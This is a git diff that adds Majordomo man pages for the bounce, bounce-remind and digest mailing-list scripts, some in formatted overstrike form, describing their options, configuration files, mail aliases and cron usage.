/dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/bounce.man @@ -0,0 +1,198 @@ + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + NNNNAAAAMMMMEEEE + bounce, bounce-remind - handle majordomo list subscribers + whose mail is undeliverable + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + [[[[----uuuunnnnssssuuuubbbb]]]] _m_a_j_o_r_d_o_m_o-_l_i_s_t _u_s_e_r-_a_d_d_r_e_s_s + + bbbboooouuuunnnncccceeee [[[[----dddd]]]] [[[[----ffff _c_o_n_f_i_g-_f_i_l_e ]]]] [[[[----mmmmaaaajjjjoooorrrrddddoooommmmoooo _s_e_r_v_e_r-_a_d_d_r_e_s_s ]]]] + ----eeeexxxxppppiiiirrrreeee [[[[----mmmmaaaaxxxxaaaaggggeeee _d_a_y_s ]]]] _b_o_u_n_c_e-_a_d_d_r_e_s_s-_f_i_l_e + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + bbbboooouuuunnnncccceeee and bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd are perl scripts which help list + owners handle subscribers whose mail is bouncing. Mail is + "bounced" in this context when it is undeliverable because + hosts or addresses are unreachable or because of other mail + errors. + + Mail is also "bounced" by the resend script for various + administrative reasons; these bounces are described in + aaaapppppppprrrroooovvvveeee(1). + + When a list owner observes that an email address + consistently causes mail errors, the owner may use bbbboooouuuunnnncccceeee to + remove the address from the list and place the address on a + special bbbboooouuuunnnncccceeeessss mailing list. + + bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd,,,, which should be run nightly by ccccrrrroooonnnn(4M), + sends a message to each of the user addresses on the bbbboooouuuunnnncccceeeessss + list, on the chance that the mail error has been corrected. + The message informs the addressee that their mail has been + undeliverable and that they have been removed from one or + more majordomo lists. It also instructs them how to + unsubscribe from the bbbboooouuuunnnncccceeeessss list and re-subscribe to the + list of their choice. + + bbbboooouuuunnnncccceeee can also be used to expire addresses off the bbbboooouuuunnnncccceeeessss + list after a predetermined number of days. + + If bbbboooouuuunnnncccceeee is invoked under a name that contains ``unsub'' it + will simply unsubscribe the offending address from the + majordomo list; it will not place the address on the bbbboooouuuunnnncccceeeessss + list. + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + These options relate to bbbboooouuuunnnncccceeee;;;; bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd takes no + arguments or options. + + + + Page 1 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + ----dddd Debug; print what would be done, but don't do it. + + ----ffff ccccoooonnnnffffiiiigggg----ffffiiiilllleeee + Use the specified configuration file. The default + is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the format for this file is + described in the CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the + aaaapppppppprrrroooovvvveeee(1) man page. This file provides the + list-owner's password for each list and the + address of the corresponding Majordomo server. + + ----mmmmaaaajjjjoooorrrrddddoooommmmoooo sssseeeerrrrvvvveeeerrrr----aaaaddddddddrrrreeeessssssss + Use this _s_e_r_v_e_r-_a_d_d_r_e_s_s for majordomo rather than + the address from the configuration file. + + ----uuuunnnnssssuuuubbbb Unsubscribes the offending address from the + majordomo list, without entering that address on + the bbbboooouuuunnnncccceeeessss list. This is equivalent to invoking + bbbboooouuuunnnncccceeee under a name containing ``unsub''. + + ----eeeexxxxppppiiiirrrreeee Expire entries from the specified bbbboooouuuunnnncccceeeessss list. + + ----mmmmaaaaxxxxaaaaggggeeee ddddaaaayyyyssss + Expire entries older than ddddaaaayyyyssss.... The default is + coded into the bbbboooouuuunnnncccceeee script as $$$$ddddeeeeffffaaaauuuulllltttt____mmmmaaaaxxxxaaaaggggeeee + days. It is set to 21 days in the majordomo + distribution. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiisssstttt + The list from which the offending user-address + should be removed. + + uuuusssseeeerrrr----aaaaddddddddrrrreeeessssssss + The address to which mail is currently + undeliverable. + + bbbboooouuuunnnncccceeee----aaaaddddddddrrrreeeessssssss----ffffiiiilllleeee + The name of the file that contains the bbbboooouuuunnnncccceeeessss + list. + + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + If bbbboooouuuunnnncccceeee is going to be used only to unsubscribe users, a + link can be created whose name contains ``unsub'' so that + users could be unsubscribed simply by typing + + unsub firewalls-digest fury@world.std.com + + for example. + + In any case, a configuration file must exist and must + contain the names of the owner's lists, along with their + respective passwords and the email address of the associated + + + + Page 2 (printed 9/24/96) + + + + + + + bbbboooouuuunnnncccceeee((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV bbbboooouuuunnnncccceeee((((1111)))) + + + + Majordomo server. The format of this file is given in the + CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN section of the aaaapppppppprrrroooovvvveeee(1) man page. The + default name for this file is ~~~~////....mmmmaaaajjjjoooorrrrddddoooommmmoooo,,,, and the same + file can serve for both the aaaapppppppprrrroooovvvveeee and bbbboooouuuunnnncccceeee scripts. + + The bbbboooouuuunnnncccceeeessss list, if it is used, must be created. It is + like any other Majordomo list excepting that the priority of + this list should be set to jjjjuuuunnnnkkkk and its owner and sender + should be nnnnoooobbbbooooddddyyyy.... Of course, the ``nobody'' mail alias must + exist; it is should be set to /dev/null. That is, + + nobody: /dev/null + + This will spare the human list owner as well as the + postmaster from having to deal with mail bouncing from the + bbbboooouuuunnnncccceeeessss list. + + A ccccrrrroooonnnn(1M) job should be set up to run bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd every + night. bbbboooouuuunnnncccceeee----rrrreeeemmmmiiiinnnndddd must run on the same server as the + bbbboooouuuunnnncccceeeessss list; it mails a message to everyone on the list + advising them that they have been removed from one or more + Majordomo lists and instructs them how to get off the + bbbboooouuuunnnncccceeeessss list and back on the list of their choice. + + bbbboooouuuunnnncccceeee can only expire addresses if it has a copy of the + bbbboooouuuunnnncccceeeessss subscriber file, so this can either be run on the + server occasionally by the Majordomo administrator or by a + cron job. It can also be run remotely with a copy of the + bbbboooouuuunnnncccceeeessss file retrived by the use of the ``who bounces'' + command to majordomo. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))),,,,aaaapppppppprrrroooovvvveeee((((1111)))) + + AAAAUUUUTTTTHHHHOOOORRRR + Majordomo and most of the ancillary perl code was written by + Brent Chapman . Majordomo is + available via anonymous FTP from FTP.GreatCircle.COM, in the + directory pub/majordomo. This man page was written by Kevin + Kelleher . + + + + + + + + + + + + Page 3 (printed 9/24/96) + + + diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 new file mode 100644 index 0000000..24e2488 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.1 @@ -0,0 +1,357 @@ +.TH digest 1 +.SH NAME +digest \- receive a file for a digest, or create and mail a digest +.LP +.SH SYNOPSIS +.B digest \-r|R|m|p \-C \-l +.I majordomo-listname recipient +.LP +.B digest \-r|R|m|p +[ +.B \-c +.I configuration-file +] +.LP +.SH AVAILABILITY +Provided with distributions of Majordomo. +.LP +.SH DESCRIPTION +The digest script is a perl script which automates the +management of digests of electronic mail. It can be +run in a standalone configuration or as part of Majordomo. +.LP +It requires two directories: a work directory and an +archive directory. Incoming email messages are held +in the work directory until they are collected into a +digest. The digests are created and stored +in the archive directory. +.LP +Incoming email messages are given +numerical names starting with ``001'' and are numbered in +order of arrival. The digests are named according to volume +and number. For example, the filename ``v01.n028'' indicates +volume 1, number 28 of the digest. +.LP +It should be noted that digest needs a configuration file +to define all of its operating parameters. If no such +file is specified, digest will use the +.SB $HOME/.digestrc +file. +.LP +Several aspects of digest configuration determine how and +when a digest is created. A digest can be created at +regular intervals (as long as there are incoming messages) +or whenever certain configurable conditions are met. These +conditions are: how large the digest can be (in characters), +how long the digest can be (in lines), and how old the messages +in the digest can be (in days). +.LP +.SH OPTIONS +.TP 10 +.B \-r +Receive an email message via standard input +and place the file into the working directory. +If any one of the conditions for digest creation +are met, create and mail a digest. These conditions +are the same as those described under option +.BR \-p. +.TP +.B \-R +Similar to +.BR \-r, +except that it will not create a digest. It simply +places the message in the work directory and stops. +.TP +.B \-m +If there are any numbered files in the working +directory, create and mail a digest. Store the +digest in the archive directory. This is the +option used by majordomo's mkdigest command. +.TP +.B \-p +Conditionally creates a digest. If any one of the +conditions for digest creation are met, the digest +is created and sent. There are three conditions, +which are connected to three limits: the digest +size in characters, the digest length in lines, and +the age of the oldest message in days. If one of the +files is older than the age limit, a digest is created. +If the sum of the messages exceeds either of the size +limits, a digest is created. The size limit in characters +must be configured; the other two limits are optional. +.TP +.B \-c configuration-file +Use the parameters defined in +.IR configuration-file. +.TP +.B \-C +Read the majordomo configuration file +(either /etc/majordomo.cf or ~majordomo/majordomo.cf) +and the configuration file for the Majordomo list specified in the +.BR \-l +option to define operational parameters. If both +.BR \-C +and +.BR \-c +options are specified (not recommended) only the +.BR \-C +option will be used. +.TP +.B \-l majordomo-listname +This option is ignored if used without the +.BR \-C +option. Specifies the Majordomo email list. +.LP +.SH OPERANDS +.TP 10 +.B recipient +Email recipient of the digest. This operand is ignored if used +without the +.BR \-C +option. It specifies one of the system mail +aliases created for the Majordomo list named in the +.BR \-l +option. +.LP +.SH MAJORDOMO DIGEST CONFIGURATION +When used as a part of Majordomo, digest takes these parameters +from +.B majordomo.cf +(either /etc/majordomo.cf or ~majordomo/majordomo.cf): +.LP +.PD 0 +.B $listdir +\- the location of the mailing lists +.LP +.B $digest_work_dir +\- parent directory for the digests' work directories +.LP +.B $filedir +\- parent directory for archive directories +.LP +.B $filedir_suffix +\- an optional identifier (may be the null string) +.PD +.LP +Incoming messages for +.B $listname-digest +will be held in +.B $digest_work_dir/$listname-digest. +.LP +Digests will be stored in +.B $filedir/$listname-digest$filedir_suffix. +.LP +The list's configuration file will be +.B $listdir/$listname-digest.config. +.LP +Examples of these values are given in +.SB EXAMPLES, +below. +.LP +The list's configuration file contains several digest parameters that +are not yet implemented and/or should NOT be changed from their defaults +(blank): +.B digest_archive, digest_rm_footer, digest_rm_fronter, digest_work_dir. +.LP +The parameters which specifically deal with digest creation +and maintenance are: +.LP +.PD 0 +.B digest_name +\- the title of the digest +.LP +.B digest_volume +\- volume number +.LP +.B digest_issue +\- issue number +.LP +.B digest_maxdays +\- age limit in days for oldest message in the digest +.LP +.B digest_maxlines +\- maximum number of lines in a digest +.LP +.B maxlength +\- maximum number of characters in a digest +.LP +.B message_fronter +\- text prepended to the digest +.LP +.B message_footer +\- text appended to the digest +.PD +.LP +The last three parameters are also used in the configuration of +an ordinary (non-digest) Majordomo list. +.LP +Each digest begins with the a line containing the +.B digest_name, current date, digest_volume and digest_issue. +. The digest script will update the issue number in the configuration file. +.LP +A blank line follows, and then the text from the +.B message_fronter, +if any. The message fronter may contain the +.SB _SUBJECT_ +token, which will be replaced by the subject lines from the messages +in the digest. +.LP +The text in the +.B message_footer, +if any, will be appended to the digest. +.LP +To embed a blank line in the +.B message_footer +or +.B message_fronter, +put a `-' as the first and ONLY character on the line. To +preserve whitespace at the beginning of a line, put a `-' +on the line before the whitespace to be preserved. To put +a literal `-' at the beginning of a line, double it. +.LP +Both message_footer and message_fronter may also use the tokens +.SB $LIST, $SENDER, +and +.SB $VERSION, +which will be expanded to, +respectively: the name of the current list, the sender as taken +from the from line, and the current version of Majordomo. +.LP +Examples of the aliases usually used with the digest are +given in +.SB EXAMPLES, +below. +.LP +The list owner can prompt Majordomo to build a digest by +sending the command +.LP +mkdigest +.I digest-name +[ +.I outgoing-address +] +.I digest-password +.LP +to majordomo either via email or from cron. The cron +command has the format: +.LP +echo mkdigest +.I digest-name +[ +.I outgoing-address +] +.I digest-password +| mail majordomo@domain.com +.LP +.SH STANDALONE DIGEST CONFIGURATION +The Majordomo distribution comes with a ``digest'' subdirectory. +The sample configuration file is called firewalls-digest.cf. +A file in this format must be used if digest is invoked in +standalone configuration. +.LP +If no configuration file is specified when digest is invoked, +it looks for a file named +.SB $HOME/.digestrc +that must be in the same format as the example file. +.LP +The configuration file defines the email addresses of the +sender and recipient of the digest. It also locates the +work and archive directories, the digest's size limit, +and the names of the files that contain the digest's volume, +number, header and footer. +.LP +The easiest way to configure a standalone digest is to copy +the five files (firewalls-digest.*) and edit them to taste. +.LP +Incoming mail is piped to digest with the +.B \-r +option. This can be done from some mail-reading programs, through +the command line, or via mail aliases similar to those +found in +.SB EXAMPLES, +below. +.LP +.SH EXAMPLES +.LP +1. Example values from +.B /etc/majordomo.cf: +.LP +.PD 0 +.B $listdir = ``usr/local/mail/lists''; +.LP +.B $digest_work_dir = ``usr/local/mail/digest''; +.LP +.B $filedir = ``listdir''; +.LP +.B $filedir_suffix ``archive''; +.PD +.LP +If our digest's name is banjo-digest, the work directory will +be /usr/local/mail/digest/banjo-digest; the archive directory +will be /usr/local/mail/lists/banjo-digest.archive. Note +that these are names of directories, not files. +.LP +2. Typical aliases for Majordomo digests: +.LP +Usually a Majordomo digest is associated to a regular (non-digest) +list. The digest's name is the regular listname plus ``-digest''. +The list ``banjo'' will have the digest ``banjo-digest''. +.LP +.PD 0 +.B banjo-digest-approval: kevink +.LP +.B banjo-digest-outgoing: :include:/usr/local/lists/banjo-digest +.LP +.B owner-banjo-digest-outgoing: kevink +.LP +.B banjo-digestify: ``|usr/majordomo/wrapper digest \-r +.B \-C \-l banjo-digest banjo-digest-outgoing'' +.LP +.B banjo-digest: banjo +.PD +.LP +Note that mail to ``banjo-digest'' is routed to the regular list. +The ``digestify'' alias must be added to the regular list's outgoing +alias: +.LP +.B banjo-outgoing: :include:/usr/local/lists/banjo,banjo-digestify +.LP +.SH NOTES +The volume number does not change automatically; it must be +incremented manually. +.LP +For testing/debugging purposes there is a ``hidden'' option +.B -d +that creates the digest as /tmp/testdigest.nnn +(where +.I nnn +is the current digest number). Since it is for testing and +debugging purposes, it does not mail the digest, it does not +place the digest in the archive directory, and it does not +update the digest number. +.LP +.SH EXIT STATUS +The following exit values are returned: +.TP 10 +.B 0 +Successful completion. +.TP +.B >0 +An error occurred. +.LP +.SH FILES +.PD 0 +.TP 20 +.B /etc/aliases +.TP +.B /etc/majordomo.cf +.PD +.LP +.SH SEE ALSO +.B majordomo(8) +.LP +.SH AUTHOR +The digest script was written by Brent Chapman . +It is available with distributions of Majordomo via anonymous FTP +from FTP.GreatCircle.COM, in the directory pub/majordomo. This +man page was written by Kevin Kelleher . diff --git a/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.man b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.man new file mode 100644 index 0000000..3fa31b4 --- /dev/null +++ b/directadmin-1.62.4/scripts/packages/majordomo-1.94.5/Doc/man/digest.man @@ -0,0 +1,396 @@ + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + NNNNAAAAMMMMEEEE + digest - receive a file for a digest, or create and mail a + digest + + SSSSYYYYNNNNOOOOPPPPSSSSIIIISSSS + ddddiiiiggggeeeesssstttt ----rrrr||||RRRR||||mmmm||||pppp ----CCCC ----llll _m_a_j_o_r_d_o_m_o-_l_i_s_t_n_a_m_e _r_e_c_i_p_i_e_n_t + + ddddiiiiggggeeeesssstttt ----rrrr||||RRRR||||mmmm||||pppp [ ----cccc _c_o_n_f_i_g_u_r_a_t_i_o_n-_f_i_l_e ] + + AAAAVVVVAAAAIIIILLLLAAAABBBBIIIILLLLIIIITTTTYYYY + Provided with distributions of Majordomo. + + DDDDEEEESSSSCCCCRRRRIIIIPPPPTTTTIIIIOOOONNNN + The digest script is a perl script which automates the + management of digests of electronic mail. It can be run in + a standalone configuration or as part of Majordomo. + + It requires two directories: a work directory and an archive + directory. Incoming email messages are held in the work + directory until they are collected into a digest. The + digests are created and stored in the archive directory. + + Incoming email messages are given numerical names starting + with ``001'' and are numbered in order of arrival. The + digests are named according to volume and number. For + example, the filename ``v01.n028'' indicates volume 1, + number 28 of the digest. + + It should be noted that digest needs a configuration file to + define all of its operating parameters. If no such file is + specified, digest will use the file. + + Several aspects of digest configuration determine how and + when a digest is created. A digest can be created at + regular intervals (as long as there are incoming messages) + or whenever certain configurable conditions are met. These + conditions are: how large the digest can be (in + characters), how long the digest can be (in lines), and how + old the messages in the digest can be (in days). + + OOOOPPPPTTTTIIIIOOOONNNNSSSS + ----rrrr Receive an email message via standard input and + place the file into the working directory. If any + one of the conditions for digest creation are met, + create and mail a digest. These conditions are + the same as those described under option ----pppp.... + + ----RRRR Similar to ----rrrr,,,, except that it will not create a + digest. It simply places the message in the work + directory and stops. + + ----mmmm If there are any numbered files in the working + + + + Page 1 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + directory, create and mail a digest. Store the + digest in the archive directory. This is the + option used by majordomo's mkdigest command. + + ----pppp Conditionally creates a digest. If any one of the + conditions for digest creation are met, the digest + is created and sent. There are three conditions, + which are connected to three limits: the digest + size in characters, the digest length in lines, + and the age of the oldest message in days. If one + of the files is older than the age limit, a digest + is created. If the sum of the messages exceeds + either of the size limits, a digest is created. + The size limit in characters must be configured; + the other two limits are optional. + + ----cccc ccccoooonnnnffffiiiigggguuuurrrraaaattttiiiioooonnnn----ffffiiiilllleeee + Use the parameters defined in _c_o_n_f_i_g_u_r_a_t_i_o_n-_f_i_l_e. + + ----CCCC Read the majordomo configuration file (either + /etc/majordomo.cf or ~majordomo/majordomo.cf) and + the configuration file for the Majordomo list + specified in the ----llll option to define operational + parameters. If both ----CCCC and ----cccc options are + specified (not recommended) only the ----CCCC option + will be used. + + ----llll mmmmaaaajjjjoooorrrrddddoooommmmoooo----lllliiiissssttttnnnnaaaammmmeeee + This option is ignored if used without the ----CCCC + option. Specifies the Majordomo email list. + + OOOOPPPPEEEERRRRAAAANNNNDDDDSSSS + rrrreeeecccciiiippppiiiieeeennnntttt Email recipient of the digest. This operand is + ignored if used without the ----CCCC option. It + specifies one of the system mail aliases created + for the Majordomo list named in the ----llll option. + + MMMMAAAAJJJJOOOORRRRDDDDOOOOMMMMOOOO DDDDIIIIGGGGEEEESSSSTTTT CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + When used as a part of Majordomo, digest takes these + parameters from mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff (either /etc/majordomo.cf or + ~majordomo/majordomo.cf): + + $$$$lllliiiissssttttddddiiiirrrr - the location of the mailing lists + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr - parent directory for the digests' work + directories + $$$$ffffiiiilllleeeeddddiiiirrrr - parent directory for archive directories + $$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx - an optional identifier (may be the null + string) + + Incoming messages for $$$$lllliiiissssttttnnnnaaaammmmeeee----ddddiiiiggggeeeesssstttt will be held in + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee----ddddiiiiggggeeeesssstttt.... + + + + + Page 2 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Digests will be stored in $$$$ffffiiiilllleeeeddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee---- + ddddiiiiggggeeeesssstttt$$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx.... + + The list's configuration file will be $$$$lllliiiissssttttddddiiiirrrr////$$$$lllliiiissssttttnnnnaaaammmmeeee---- + ddddiiiiggggeeeesssstttt....ccccoooonnnnffffiiiigggg.... + + Examples of these values are given in below. + + The list's configuration file contains several digest + parameters that are not yet implemented and/or should NOT be + changed from their defaults (blank): ddddiiiiggggeeeesssstttt____aaaarrrrcccchhhhiiiivvvveeee,,,, + ddddiiiiggggeeeesssstttt____rrrrmmmm____ffffooooooootttteeeerrrr,,,, ddddiiiiggggeeeesssstttt____rrrrmmmm____ffffrrrroooonnnntttteeeerrrr,,,, ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr.... + + The parameters which specifically deal with digest creation + and maintenance are: + + ddddiiiiggggeeeesssstttt____nnnnaaaammmmeeee - the title of the digest + ddddiiiiggggeeeesssstttt____vvvvoooolllluuuummmmeeee - volume number + ddddiiiiggggeeeesssstttt____iiiissssssssuuuueeee - issue number + ddddiiiiggggeeeesssstttt____mmmmaaaaxxxxddddaaaayyyyssss - age limit in days for oldest message in the + digest + ddddiiiiggggeeeesssstttt____mmmmaaaaxxxxlllliiiinnnneeeessss - maximum number of lines in a digest + mmmmaaaaxxxxlllleeeennnnggggtttthhhh - maximum number of characters in a digest + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr - text prepended to the digest + mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr - text appended to the digest + + The last three parameters are also used in the configuration + of an ordinary (non-digest) Majordomo list. + + Each digest begins with the a line containing the + ddddiiiiggggeeeesssstttt____nnnnaaaammmmeeee,,,, ccccuuuurrrrrrrreeeennnntttt ddddaaaatttteeee,,,, ddddiiiiggggeeeesssstttt____vvvvoooolllluuuummmmeeee aaaannnndddd ddddiiiiggggeeeesssstttt____iiiissssssssuuuueeee.... + + A blank line follows, and then the text from the + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr,,,, if any. The message fronter may contain + the token, which will be replaced by the subject lines from + the messages in the digest. + + The text in the mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr,,,, if any, will be appended to + the digest. + + To embed a blank line in the mmmmeeeessssssssaaaaggggeeee____ffffooooooootttteeeerrrr or + mmmmeeeessssssssaaaaggggeeee____ffffrrrroooonnnntttteeeerrrr,,,, put a `-' as the first and ONLY character + on the line. To preserve whitespace at the beginning of a + line, put a `-' on the line before the whitespace to be + preserved. To put a literal `-' at the beginning of a line, + double it. + + Both message_footer and message_fronter may also use the + tokens and which will be expanded to, respectively: the name + of the current list, the sender as taken from the from line, + and the current version of Majordomo. + + + + + Page 3 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Examples of the aliases usually used with the digest are + given in below. + + The list owner can prompt Majordomo to build a digest by + sending the command + + mkdigest _d_i_g_e_s_t-_n_a_m_e [ _d_i_g_e_s_t-_p_a_s_s_w_o_r_d ] + + to majordomo either via email or from cron. The cron + command has the format: + + echo mkdigest _d_i_g_e_s_t-_n_a_m_e [ _d_i_g_e_s_t-_p_a_s_s_w_o_r_d ] | mail + majordomo@domain.com + + SSSSTTTTAAAANNNNDDDDAAAALLLLOOOONNNNEEEE DDDDIIIIGGGGEEEESSSSTTTT CCCCOOOONNNNFFFFIIIIGGGGUUUURRRRAAAATTTTIIIIOOOONNNN + The Majordomo distribution comes with a ``digest'' + subdirectory. The sample configuration file is called + firewalls-digest.cf. A file in this format must be used if + digest is invoked in standalone configuration. + + If no configuration file is specified when digest is + invoked, it looks for a file named that must be in the same + format as the example file. + + The configuration file defines the email addresses of the + sender and recipient of the digest. It also locates the work + and archive directories, the digest's size limit, and the + names of the files that contain the digest's volume, number, + header and footer. + + The easiest way to configure a standalone digest is to copy + the five files (firewalls-digest.*) and edit them to taste. + + Incoming mail is piped to digest with the ----rrrr option. This + can be done from some mail-reading programs, through the + command line, or via mail aliases similar to those found in + below. + + EEEEXXXXAAAAMMMMPPPPLLLLEEEESSSS + 1. Example values from ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff:::: + + $$$$lllliiiissssttttddddiiiirrrr ==== ````````uuuussssrrrr////llllooooccccaaaallll////mmmmaaaaiiiillll////lllliiiissssttttssss'''''''';;;; + $$$$ddddiiiiggggeeeesssstttt____wwwwoooorrrrkkkk____ddddiiiirrrr ==== ````````uuuussssrrrr////llllooooccccaaaallll////mmmmaaaaiiiillll////ddddiiiiggggeeeesssstttt'''''''';;;; + $$$$ffffiiiilllleeeeddddiiiirrrr ==== ````````lllliiiissssttttddddiiiirrrr'''''''';;;; + $$$$ffffiiiilllleeeeddddiiiirrrr____ssssuuuuffffffffiiiixxxx ````````aaaarrrrcccchhhhiiiivvvveeee'''''''';;;; + + If our digest's name is banjo-digest, the work directory + will be /usr/local/mail/digest/banjo-digest; the archive + directory will be /usr/local/mail/lists/banjo- + digest.archive. Note that these are names of directories, + not files. + + + + + Page 4 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + 2. Typical aliases for Majordomo digests: + + Usually a Majordomo digest is associated to a regular (non- + digest) list. The digest's name is the regular listname + plus ``-digest''. The list ``banjo'' will have the digest + ``banjo-digest''. + + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----aaaapppppppprrrroooovvvvaaaallll:::: kkkkeeeevvvviiiinnnnkkkk + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg:::: ::::iiiinnnncccclllluuuuddddeeee::::////uuuussssrrrr////llllooooccccaaaallll////lllliiiissssttttssss////bbbbaaaannnnjjjjoooo---- + ddddiiiiggggeeeesssstttt + oooowwwwnnnneeeerrrr----bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg:::: kkkkeeeevvvviiiinnnnkkkk + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeessssttttiiiiffffyyyy:::: ````````||||uuuussssrrrr////mmmmaaaajjjjoooorrrrddddoooommmmoooo////wwwwrrrraaaappppppppeeeerrrr ddddiiiiggggeeeesssstttt ----rrrr ----CCCC ----llll + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt----oooouuuuttttggggooooiiiinnnngggg'''''''' + bbbbaaaannnnjjjjoooo----ddddiiiiggggeeeesssstttt:::: bbbbaaaannnnjjjjoooo + + Note that mail to ``banjo-digest'' is routed to the regular + list. The ``digestify'' alias must be added to the regular + list's outgoing alias: + + bbbbaaaannnnjjjjoooo----oooouuuuttttggggooooiiiinnnngggg:::: ::::iiiinnnncccclllluuuuddddeeee::::////uuuussssrrrr////llllooooccccaaaallll////lllliiiissssttttssss////bbbbaaaannnnjjjjoooo,,,,bbbbaaaannnnjjjjoooo---- + ddddiiiiggggeeeessssttttiiiiffffyyyy + + NNNNOOOOTTTTEEEESSSS + The volume number does not change automatically; it must be + incremented manually. + + For testing/debugging purposes there is a ``hidden'' option + ----dddd that creates the digest as /tmp/testdigest.nnn (where _n_n_n + is the current digest number). Since it is for testing and + debugging purposes, it does not mail the digest, it does not + place the digest in the archive directory, and it does not + update the digest number. + + EEEEXXXXIIIITTTT SSSSTTTTAAAATTTTUUUUSSSS + The following exit values are returned: + + 0000 Successful completion. + + >>>>0000 An error occurred. + + FFFFIIIILLLLEEEESSSS + ////eeeettttcccc////aaaalllliiiiaaaasssseeeessss + ////eeeettttcccc////mmmmaaaajjjjoooorrrrddddoooommmmoooo....ccccffff + + SSSSEEEEEEEE AAAALLLLSSSSOOOO + mmmmaaaajjjjoooorrrrddddoooommmmoooo((((8888)))) + + AAAAUUUUTTTTHHHHOOOORRRR + The digest script was written by Brent Chapman + . It is available with distributions + of Majordomo via anonymous FTP from FTP.GreatCircle.COM, in + the directory pub/majordomo. This man page was written by + + + + Page 5 (printed 9/23/96) + + + + + + + ddddiiiiggggeeeesssstttt((((1111)))) UUUUNNNNIIIIXXXX SSSSyyyysssstttteeeemmmm VVVV ddddiiiiggggeeeesssstttt((((1111)))) + + + + Kevin Kelleher . + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + Page 6 (printed 9/23/96) + + + diff --git 